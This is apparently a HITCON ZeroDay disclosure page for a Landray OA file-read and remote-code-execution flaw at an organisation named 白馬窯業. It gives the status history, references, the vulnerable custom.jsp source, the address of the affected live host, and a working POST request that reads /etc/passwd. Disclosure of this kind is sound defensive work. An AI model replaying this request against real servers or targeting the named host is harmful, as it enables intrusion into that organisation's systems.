白馬窯業藍凌OA 任意文件讀取及RCE - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2022-00470
  •  發信 Vendor: 白馬窯業
  • Title: 白馬窯業藍凌OA 任意文件讀取及RCE
  • Introduction: RCE及任意文件讀取

處理狀態

目前狀態

公開
Last Update : 2022/09/15
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2022/07/16 15:01:23 : 新提交 (由 好男人 更新此狀態)
  • 2022/07/16 15:28:07 : 新提交 (由 好男人 更新此狀態)
  • 2022/07/16 15:29:02 : 新提交 (由 好男人 更新此狀態)
  • 2022/07/17 09:12:53 : 新提交 (由 好男人 更新此狀態)
  • 2022/07/17 09:13:28 : 新提交 (由 好男人 更新此狀態)
  • 2022/07/17 18:57:08 : 新提交 (由 好男人 更新此狀態)
  • 2022/07/17 20:46:55 : 新提交 (由 好男人 更新此狀態)
  • 2022/07/17 23:09:32 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/07/18 22:18:34 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/07/18 22:18:34 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/07/18 22:18:34 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/09/15 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2022-00470
  • 通報者:qekuxpre (好男人)
  • 風險:嚴重
  • 類型:遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://211.23.165.225:8080/sys/ui/extend/varkind/custom.jsp

敘述

利用該系統(藍凌OA)已知漏洞("custom.jsp 任意文件讀取漏洞"及"sysSearchMain.do 遠程命令執行漏洞"),可讀取/etc/passwd重要文件資訊
圖片
也可遠程執行命令
圖片

出現漏洞的文件為custom.jsp

<%@page import="com.landray.kmss.util.ResourceUtil"%>
<%@page import="net.sf.json.JSONArray"%>
<%@page import="net.sf.json.JSONObject"%>
<%@ page language="java" pageEncoding="UTF-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%
 JSONObject vara =
JSONObject.fromObject(request.getParameter("var"));
 JSONObject body = JSONObject.fromObject(vara.get("body"));
%>
<c:import url='<%=body.getString("file") %>'>
 <c:param name="var" value="${ param['var'] }"></c:param>
</c:import>

請求包為

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 42
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

var={"body":{"file":"file:///etc/passwd"

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;